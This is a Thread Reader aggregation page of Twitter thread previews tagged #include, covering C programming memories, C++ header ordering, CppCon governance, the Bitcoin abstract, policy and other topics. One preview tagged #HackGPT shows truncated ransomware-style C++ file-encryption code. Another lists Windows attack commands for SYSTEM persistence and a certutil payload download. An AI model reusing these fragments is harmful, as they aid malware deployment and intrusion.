Discover and read the best of Twitter Threads about #include

Most recents (12)

I promise I am up to no good #HackGPT

#include <iostream>
#include <fstream>
#include <filesystem>
#include <string>

namespace fs = std::filesystem;

int main()
{
std::string path = "C:\\";
for (auto& p : p.istwitter.com/i/web/status/1…
Don't do this at home!

#include <iostream>
#include <fstream>
#include <string>
#include <openssl/aes.h>

void encryptFile(const std::string& inputFile, const std::string& outputFile, const std::string& key)
{
// Open input and output files in.readtwitter.com/i/web/status/1…
i'm sleeps I'm not checking hese
########## #HACKGPT

#include <iostream>
#include <fstream>
#include <windows.h>
#include <dpapi.h>

void encryptFile(const std::string& inputFile, const std::string& outputFile)
{
// Open input and output files
std::ifstream in(inputFile,… twitter.com/i/web/status/1…
Read 4 tweets
schtasks /create /tn "Task Name" /tr "C:\path\to\program.exe" /sc onstart /ru SYSTEM
DOWNLOAD A PAYLOAD

certutil -urlcache -split -f "example.com/file.exe" C:\path\to\save\file.exe
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
Read 38 tweets
#include <stdio.h>
int main(void) {
printf(“hello world”);
return 0;
}

My brother sent me “C primer plus” and “Python for the absolute beginner” when I was turning 12 and insisted I start with C lol
Probably the most game changing thing that happened in my whole life. I have no other skills but somehow I’ve been writing code for 18 years. After getting through these I found rails around 06-07 and started building web things
Our home computers hard drive died, so I was running all of this off of an Ubuntu live CD with no ability to save anything other than messaging it to myself on MySpace to save single programs. Lol. We got that fixed in 09. For many file things I’d use mediafire and zip files
Read 4 tweets
Rust의 C++대비 장점중 하나가 헤더 인클루드 복잡도가 O(n^2)가 아니라 O(n)인 점이란 이야기를 듣고 (크게 관계는 없지만) 생각난 것:
일단 각 헤더의 타 헤더 인클루드는 self-contained하게 해야 한다고 생각하는데. 컴파일러마다 어떤 순서로 헤더들을 파싱하느냐가 달라질 수 있어서 이걸 잡아내기 어려울때가 있다. 가끔 한 컴파일러에서 빌드가 잘 되다가도 다른 컴파일러에서는 필요한 헤더가 참조가 안되었다고 하는 경우가 이것
아무튼 지금까지는 헤더를 관계상 가장 먼것에서 가까운 것으로 정렬했었는데 그 반대로 하는게 도움이 된다는걸 알게됨.

예를 들어 어떤 헤더가
#include <vector>
#include <same_proj/a.hpp>
이렇게 한 경우 a.hpp에서 <vector>가 필요하지만 인클루드 하지 않아도 컴파일이 될 수도 있음.
Read 5 tweets
⪻ Hola Mundo ⪼ es el primer programa que se crea cuando aprendes un nuevo lenguaje de programación

Aquí voy a enseñarte a crearlo en 17 lenguajes distintos 👇

[ H I L O ]
》HTML

<p> Hola Mundo </p>

[ 1 / 17 ]
》CSS

body:before {
content: "Hola Mundo";
}

[ 2 / 17 ]
Read 21 tweets
🧵- CppCon & loss of trust.

Context w/ *critical* CW:


Read the position and the links, most notably: patricia.no/2022/03/08/pro…

Note that the docs from #include <C++> weren't finalized.

This is my personal and individual perspective and experience.

1/
This is not about an individual (do *not* name names here).

It really is not.

This is about working to keep the C++ community safe, inclusive, and welcoming.

And it is about doing so with transparency and integrity.

2/
I was on the Standard C++ Foundation board until 2021-09-22 and helped found CppCon.

I tried to help handle this, but ultimately failed, made mistakes, and for that I'm sorry:
- I suggested that the CoC group should handle this (my only good idea).
...

3/
Read 9 tweets
Vamos a jugar a un juego.
Por cada RT que tenga este Tweet doy un tip sobre pentesting web. :D
Cuando estamos frente a una api (dominio.com/api/v2/path) es más fácil buscar vulnerabilidades si intentamos pentestear una versión antigua (dominio.com/api/v1/path)
Read 31 tweets
Bitcoin: A Peer-to-Peer Electronic Cash System

Satoshi Nakamoto
satoshin@gmx.com
bitcoin.org

Abstract. A purely peer-to-peer version of electronic cash would allow online payments to be sent directly from one party to another without going through a financial
institution. Digital signatures provide part of the solution, but the main benefits are lost if a trusted third party is still required to prevent double-spending. We propose a solution to the double-spending problem using a peer-to-peer network. The network timestamps
transactions by hashing them into an ongoing chain of hash-based proof-of-work, forming a record that cannot be changed without redoing the proof-of-work. The longest chain not only serves as proof of the sequence of events witnessed, but proof that it came
Read 80 tweets
So, I attempted to use NNG (github.com/nanomsg/nng) and I have to say it's in serious need of being boring. It's full of mostly useless crap like HTTP servers, ZT networks, and the organization is insane. He's hiding struct inside .c files so you can't get at them? WAT?
Nim did alright and claimed to compile a .nim file created with c2nim, so bonus points to Nim. It seemed to work, until you start to use *any* protocol. Then an explosion of missing header files you have to scour the codebase for comes to light.
You want to make a pipeline socket you need a push and and a pull end. What's the code to set that up?

What are you doing dude? I should just #include <nng.h> and go. Compilers already know how to remove code so don't make me include 90 other files. So bizarre. Image
Read 8 tweets
Was asked,"Highlight d key problems with #draftEIA2020".
My response. Problem z not just with EIA2020 but with d whole EIA regime. #DraftEIA2020 was an opportunity to think & act wisely but unfortunately got converted into a disaster. There r at least 6 "Who" that needs attention
1. Who #drafts the Law?
2. Who gets #covered under it?
3. Who #prepares EIA report?
4. Who is #consulted & when?
5. Who #appraises a Project/activity?
6. Who #monitors a project post EC?
Each of these "Who" is crucial for a meaningful & worthwhile EIA regime in d country.
1. A law is meant to express Societal concerns & aspirations & not d philosophy or desires of a party in power. So why shud mandarins in a dept draft it?
Law as crucial as EIA with national & international ramifications must b #drafted by a representative Committee of experts.
Read 13 tweets
Hot take: @the_wing is an adult sorority ($200+ monthly dues, tight community, philanthropy efforts)

I love the idea of empowering women, but I think it's super important to do so while being inclusive to all identifying women. Thread (1/7):

fortune.com/2020/01/22/wew…
I joined @sheplusplus because I wanted to be a part of a community of ambitious women and help other ambitious women make strides in their careers (namely tech). But quarterly/annual dues were a large part of the reason behind my decision not to join a sorority in college. (2/7)
When the financial barrier to entry is high for minorities in the field, the only minorities who can join the group have to be extra privileged. To actually increase diversity in the field, we need to make efforts to include those who can't afford large membership dues. (3/7)
Read 7 tweets
OK so here's an opinion I'm going to issue in re: programming. hello
A tremendously popular piece of advice is "look at other peoples software to help you learn how to code" but the way modern code works, you can't do that.
Let me explain: If you wanted to figure out how, say, Doom worked, the source code is NOT HARD. There's. Like. v_game.c, and you can open it and read it and there's code that does something.
Read 38 tweets

Related hashtags

Did Thread Reader help you today?

Support us! We are indie developers!


This site is made by just two indie developers on a laptop doing marketing, support and development! Read more about the story.

Become a Premium Member ($3.00/month or $30.00/year) and get exclusive features!

Become Premium

Too expensive? Make a small donation by buying us coffee ($5) or help with server cost ($10)

Donate via Paypal Become our Patreon

Thank you for your support!